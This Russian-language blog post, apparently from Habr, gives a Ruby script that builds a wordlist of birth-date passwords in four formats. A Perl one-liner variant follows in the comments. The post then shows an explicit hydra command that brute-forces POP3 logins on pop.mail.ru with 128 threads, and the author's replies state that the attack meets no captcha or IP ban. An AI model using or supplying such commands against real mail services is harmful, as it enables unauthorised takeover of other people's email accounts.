Как стать автором
Поиск
Написать публикацию
Обновить

Программа на Ruby для составления словаря дат для брута

Цель: создать пассвордлист для гидры (hydra-gtk), содержащий даты в разном формате.

Ранее пробовал сделать свой словарь паролей с датами. Например мой ДР: 26081983 или 260883.

Для этого в EXCEL создал столбик с датами от 01.01.1970 до 31.12.2012 и еще один от 01.01.70 до 31.12.12 (благо — это не надо вводить в ручную, а всего лишь потянуть за правый нижний угол первой ячейки и подождать пока список не дойдет до нужной даты).
Далее эти колонки скопировал в блокнот и методом поиска/замены — заменил все точки на пустую строку, что привело к их удалению: было 26.08.1983 — стало 26081983.
Итого в словаре у меня получилось два формата даты 010170 и 01011970, но ведь первое января многие запишут как 1.01.1970 (т.е. без нуля впереди).

Попробовал написать генератор паролей на Ruby:
t1 = Time.now
start = Time.new(1970, 1, 1)                  # 1:01:1970 - начальная дата
array = Array.new
while start.year < 2013                       # с 1-01-1970 по 31-12-2012
    array.push(start.strftime("%-d%m%y"))     #  1 01   70 =>    10170
    array.push(start.strftime("%d%m%y"))      # 01 01   70 =>   010170
    array.push(start.strftime("%-d%m%Y"))     #  1 01 1970 =>  1011970
    array.push(start.strftime("%d%m%Y"))      # 01 01 1970 => 01011970
    start +=86400			      # инкремент +1 день (60 х 60 х 24= 86400сек)
end
fff = File.open("pass_date.txt", "w")         # сохраняем в файл pass_date.txt
fff.puts(array.uniq)                          # удаляем дубликаты
puts "======= finish: #{Time.now-t1} seconds" # затраченное время

запускаем руби_код:
ruby pass_gen.rb

запускаем брут почты:
hydra -L login.txt -P pass_date.txt -o log.txt -t 128 pop.mail.ru pop3

В итоге имеем:
1. четыре варианта формата даты без повторений;
2. возможность изменять начальную и конечную дату.

P.S. Не используйте простые пароли.

UPD1. oe24 написал: А что, mail.ru не будет со временем требовать у Вас символы капчи?
Ответ: Нет.
UPD2. icon написал: Критика такая (с практической стороны), что даты вообще-то бывают ещё исторические и также научно-фантастические, а не только в диапазоне TheEpoch-ДоПримерноКонцаСветаПоНашейИнтерпретацииКалендаряМайя.
Ответ: Выбрал этот период дат, т.к. он включает возможные даты дней рождений, которые очень часто используются как пароли, ведь их не забывают.
UPD3. or10n написал: пост бесполезен более чем полность, такой код пишется на любом современном языке за 10 минут. по поводу самого кода, зачем делать массив, когда можно сразу пихать данные в файл?
Ответ: массив создавался для того чтобы: можно было применить метод .uniq для удаления дубликатов, а в дальнейшем .sort_by для сортировки и посчитать количество сгенерированных паролей «puts array.size».
UPD4. vk2 написал: А Вы хабр до этого читали? Как считаете, тематика и глубина статьи подходит? Без обид.
Ответ: Спасибо, никаких обид. Читаю с 2008-ого, хабраюзером стал в 2010-ом (до того как ввели халявную регистрацию, постил в песочницу и был приглашен). Пост написал в Информационную безопасность, т.к. он ее полностью затрагивает. В ruby, т.к. программу писал на ruby.
Надеюсь вы не считаете что брут почты не попадает под тематику Информационная безопасность?
Глубина статьи? — Цель достигнута, больше ничего не нужно.

UPD5. lany написал: Как вы планируете вводить капчу по протоколу pop3? Я думаю, они просто забанят по IP.
Ответ: не забанят, и капчи не будет, это же hydra.
UPD6. zorgrhrd написал: Для спасения топика, предлагаю в комментах постить способы решения данной проблемы на вашем любимом языке.
Ответ: Спасибо, но спасти не удалось, возможно заминусовали те, кто думают что это не работает из-за капчи
UPD7. spiritedflow написал: думаю, вероятность встретить какую-нибудь клингонскую дату среди паролей пользователей mail.ru не выше, чем встретить 'z#,KjylbyrF$ubr'. С практической стороны я бы 2009 и дальше исключил, врядли кто из детей меньше 4 лет завёл себе почту. С другой стороны использовать день рождения ребёнка тоже могут.
Ответ: Да, очень часто используют пароли в виде дат дней рождений родителей и детей. Исключать нет смысла, т.к. словарь за сто лет включающий 4 варианта отображения дат генерится меньше секунды и содержит 94646 паролей.
UPD8. lany написал: Если я правильно понимаю код, дубликатов при таком методе генерации быть не может. И я, конечно, не специалист в Руби, но, по-моему, файлы закрывать всё-таки стоит. Хотя ошибся. Действительно могут быть. Но их можно по пути легко отсекать.
Ответ: Повторений очень много, т.к. дублируется четыре раза одна и таже дата, за сто лет 146100 паролей, из них 51454 повторений.
UPD9. vk2 написал: Что любопытно, можно вообще не заморачиваться strftime(), т.к. это все-таки довольно ресурсоемкая операция. Еще можно не инкрементировать на 86400 секунд и так далее. Можно тупо принять за правило, что у нас в каждом месяце 31 день и просто поставить три вложенных цикла. Мы получим в году всего 6-8 неверных паролей (этим можно пренебречь), зато как упрощается программа :)
Ответ: Да все верно, 7 неправильных (8 в высокосный год), но т.к. 4 разных варианта отображения, то это примерно 30 в год и 3000 за сто лет. Гидра брутит со скоростью 1600 пасов в минуту, всего две лишних минуты.
UPD7. lany написал: Ну не знаю, как-нибудь так:
perl -e '$t=0;while(1) {last if (@d=gmtime($t))[5]==113;@v=($d[3],$d[4]+1,$d[5]%100,$d[3],$d[4]+1,$d[5]+1900);printf "%d%02d%02d\n%d%02d%d\n",@v;printf "%02d%02d%02d\n%02d%02d%d\n",@v if $v[0]<10;$t+=86400}'>pass_date.txt
Без повторов и без массива.
Ответ: Спасибо, еще нужен счетчик паролей и таймер
Теги:
Хабы:
Данная статья не подлежит комментированию, поскольку её автор ещё не является полноправным участником сообщества. Вы сможете связаться с автором только после того, как он получит приглашение от кого-либо из участников сообщества. До этого момента его username будет скрыт псевдонимом.